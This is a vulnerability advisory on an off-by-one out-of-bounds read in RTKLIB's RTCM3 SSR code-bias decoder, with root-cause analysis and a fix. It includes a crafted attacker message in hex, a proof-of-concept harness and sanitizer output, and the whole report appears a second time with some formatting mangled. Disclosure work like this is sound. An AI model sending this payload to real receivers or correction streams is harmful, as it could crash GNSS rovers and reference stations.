Author(s): Nabih Benazzouz - @raefko
Date: 2026-06-09
Executive Summary
@FuzzingLabs identified an off-by-one out-of-bounds read in RTKLIB's RTCM3 State-Space-Representation (SSR) code-bias decoder decode_ssr3. For each signal it reads a 5-bit mode from the wire and looks it up in a per-constellation code table with the guard if (mode <= ncode). Because ncode is the exact element count of the codes_*[] table, mode == ncode passes the guard and reads codes[ncode]
- one element past the end of the table. The fetched value then indexes the local
cbias[] array.
FuzzingLabs confirmed the defect with a crafted RTCM3 SSR message under AddressSanitizer (Apple clang): AddressSanitizer: global-buffer-overflow in decode_ssr3 at rtcm3.c:1447. ASAN locates the address as "0 bytes after global variable 'codes_glo' ... of size 16" - i.e. mode == ncode == 4 reads codes_glo[4], one int past the 4-element GLONASS code table.
RTCM3 SSR streams are attacker-controlled correction data delivered over NTRIP/serial; an attacker can always compute a valid CRC, so the decoders behind it are reachable in the field. This message type is processed by any RTKLIB-based rover/CORS consuming SSR corrections.
Vulnerability Details
- Severity: Medium (Out-of-bounds READ of a global table, reachable from RTCM3 SSR correction streams over NTRIP/serial. The read value then indexes
cbias[], so a bad table value could push that index out of range as a secondary effect; the directly-observed defect is a 4-byte global over-read.)
- Affected Component:
decode_ssr3() - src/rtcm3.c:1447 (cbias[codes[mode]-1]=(float)bias;), guarded by if (mode<=ncode) at rtcm3.c:1446. Affects all SSR code-bias message types (GPS 1059, GLONASS 1065, Galileo 1242, QZSS 1248, BeiDou 1254, SBAS 1260).
Environment
Steps to Reproduce
- Clone and pin:
git clone https://github.com/tomojitakasu/RTKLIB && cd RTKLIB
git checkout 71db0ffa0d9735697c6adfd06fdf766d0e5ce807
- Save
poc.c (below) and write the exact RTCM3 SSR message to msg.rtcm3:
python3 -c "open('msg.rtcm3','wb').write(bytes.fromhex('d30039429e9b9b9b80bcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcc1ff2200001ec07f424543000000133e00ed5f4b'))"
- Build under ASAN and run:
clang -fsanitize=address,undefined -g -DENAGLO -DENAGAL -DENAQZS -DENACMP -DENAIRN \
-D_DARWIN_C_SOURCE -I src src/*.c src/rcv/*.c poc.c -lm -o poc
./poc msg.rtcm3
Proof of Concept
The exact attacker input is one RTCM3 SSR code-bias message (full wire bytes, valid CRC-24Q) whose per-signal mode field equals ncode for its constellation:
D3 00 39 42 9E 9B 9B 9B 80 BC BC BC BC BC BC BC BC BC BC BC BC BC BC BC BC BC BC BC
BC BC BC BC BC BC BC BC BC BC BC BC BC BC BC BC BC C1 FF 22 00 00 1E C0 7F 42 45 43
00 00 00 13 3E 00 ED 5F 4B
poc.c (complete, self-contained - feeds the message to the decoder):
#include <stdio.h>
#include <stdlib.h>
#include "rtklib.h"
int showmsg(char *fmt, ...) { (void)fmt; return 0; }
void settime(gtime_t t) { (void)t; }
void settspan(gtime_t a, gtime_t b) { (void)a; (void)b; }
int main(int argc, char **argv) {
if (argc < 2) return 1;
FILE *f = fopen(argv[1], "rb"); if (!f) return 1;
rtcm_t rtcm; if (init_rtcm(&rtcm) <= 0) return 1;
int c;
while ((c = fgetc(f)) != EOF) input_rtcm3(&rtcm, (unsigned char)c);
fclose(f); free_rtcm(&rtcm);
return 0;
}
Root Cause Analysis
decode_ssr3 (src/rtcm3.c) selects a per-constellation code table and its length ncode, then loops over the wire-supplied biases:
case SYS_GLO: np=5; offp= 0; codes=codes_glo; ncode= 4; break; /* codes_glo has 4 elements */
...
for (k=0;k<nbias&&i+19<=rtcm->len*8;k++) {
mode=getbitu(rtcm->buff,i, 5); i+= 5; /* mode is 5 bits: 0..31, attacker-controlled */
bias=getbits(rtcm->buff,i,14)*0.01; i+=14;
if (mode<=ncode) { // rtcm3.c:1446 <-- should be mode < ncode
cbias[codes[mode]-1]=(float)bias; // rtcm3.c:1447 <-- codes[ncode] is 1 past the table
}
}
ncode is the count of elements in codes (4 for GLONASS, 17 GPS, 19 Galileo, 13 QZSS, 9 BeiDou, 4 SBAS - all exact). The valid indices are 0 .. ncode-1, so the guard must be mode < ncode. With mode <= ncode, the value mode == ncode is accepted and codes[ncode] reads one element past the table. The over-read value then participates in codes[mode]-1 as an index into cbias[MAXCODE].
Detailed Behavior
A single RTCM3 SSR code-bias message (e.g. GLONASS type 1065) whose mode field equals the constellation's code count makes decode_ssr3 read one entry past the corresponding codes_*[] global table. Reachable from an NTRIP/serial correction stream. Effect: out-of-bounds global read → potential crash/DoS in any RTKLIB rover/CORS that ingests SSR corrections, and an attacker-influenced table value flowing into the cbias[] index.
==1735==ERROR: AddressSanitizer: global-buffer-overflow on address 0x000100959ff0 ...
READ of size 4
#0 0x000100701290 in decode_ssr3 rtcm3.c:1447
#1 0x0001006ecd0c in decode_rtcm3 rtcm3.c:2136
#2 0x000100604a48 in main poc.c:14
#3 0x000188203dfc in start+0x1b4c (dyld:arm64e+0x1fdfc)
0x000100959ff0 is located 0 bytes after global variable 'codes_glo' (size 16)
0x000100959ff0 is located 16 bytes before global variable 'codes_gal' (size 76)
SUMMARY: AddressSanitizer: global-buffer-overflow rtcm3.c:1447 in decode_ssr3
Recommendations
- Fix the off-by-one. Change the guard at
rtcm3.c:1446 from if (mode <= ncode) to if (mode < ncode). Check the same pattern in the other SSR code-bias decoders.
- Defend the secondary index. After looking up
codes[mode], validate codes[mode]-1 is within [0, MAXCODE) before writing cbias[...].
Author(s): Nabih Benazzouz - @raefko
Date: 2026-06-09
Executive Summary
@FuzzingLabs identified an off-by-one out-of-bounds read in RTKLIB's RTCM3 State-Space-Representation (SSR) code-bias decoder
decode_ssr3. For each signal it reads a 5-bitmodefrom the wire and looks it up in a per-constellation code table with the guardif (mode <= ncode). Becausencodeis the exact element count of thecodes_*[]table,mode == ncodepasses the guard and readscodes[ncode]cbias[]array.FuzzingLabs confirmed the defect with a crafted RTCM3 SSR message under AddressSanitizer (Apple clang):
AddressSanitizer: global-buffer-overflowindecode_ssr3atrtcm3.c:1447. ASAN locates the address as "0 bytes after global variable 'codes_glo' ... of size 16" - i.e.mode == ncode == 4readscodes_glo[4], oneintpast the 4-element GLONASS code table.RTCM3 SSR streams are attacker-controlled correction data delivered over NTRIP/serial; an attacker can always compute a valid CRC, so the decoders behind it are reachable in the field. This message type is processed by any RTKLIB-based rover/CORS consuming SSR corrections.
Vulnerability Details
cbias[], so a bad table value could push that index out of range as a secondary effect; the directly-observed defect is a 4-byte global over-read.)decode_ssr3()-src/rtcm3.c:1447(cbias[codes[mode]-1]=(float)bias;), guarded byif (mode<=ncode)atrtcm3.c:1446. Affects all SSR code-bias message types (GPS 1059, GLONASS 1065, Galileo 1242, QZSS 1248, BeiDou 1254, SBAS 1260).Environment
-fsanitize=address,undefined.71db0ffa0d9735697c6adfd06fdf766d0e5ce807(2.4.3 line, 2018-01-30)ENAGLO ENAGAL ENAQZS ENACMP ENAIRN.Steps to Reproduce
poc.c(below) and write the exact RTCM3 SSR message tomsg.rtcm3:python3 -c "open('msg.rtcm3','wb').write(bytes.fromhex('d30039429e9b9b9b80bcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcc1ff2200001ec07f424543000000133e00ed5f4b'))"Proof of Concept
The exact attacker input is one RTCM3 SSR code-bias message (full wire bytes, valid CRC-24Q) whose per-signal
modefield equalsncodefor its constellation:poc.c(complete, self-contained - feeds the message to the decoder):Root Cause Analysis
decode_ssr3(src/rtcm3.c) selects a per-constellation code table and its lengthncode, then loops over the wire-supplied biases:ncodeis the count of elements incodes(4 for GLONASS, 17 GPS, 19 Galileo, 13 QZSS, 9 BeiDou, 4 SBAS - all exact). The valid indices are0 .. ncode-1, so the guard must bemode < ncode. Withmode <= ncode, the valuemode == ncodeis accepted andcodes[ncode]reads one element past the table. The over-read value then participates incodes[mode]-1as an index intocbias[MAXCODE].Detailed Behavior
A single RTCM3 SSR code-bias message (e.g. GLONASS type 1065) whose
modefield equals the constellation's code count makesdecode_ssr3read one entry past the correspondingcodes_*[]global table. Reachable from an NTRIP/serial correction stream. Effect: out-of-bounds global read → potential crash/DoS in any RTKLIB rover/CORS that ingests SSR corrections, and an attacker-influenced table value flowing into thecbias[]index.Recommendations
rtcm3.c:1446fromif (mode <= ncode)toif (mode < ncode). Check the same pattern in the other SSR code-bias decoders.codes[mode], validatecodes[mode]-1is within[0, MAXCODE)before writingcbias[...].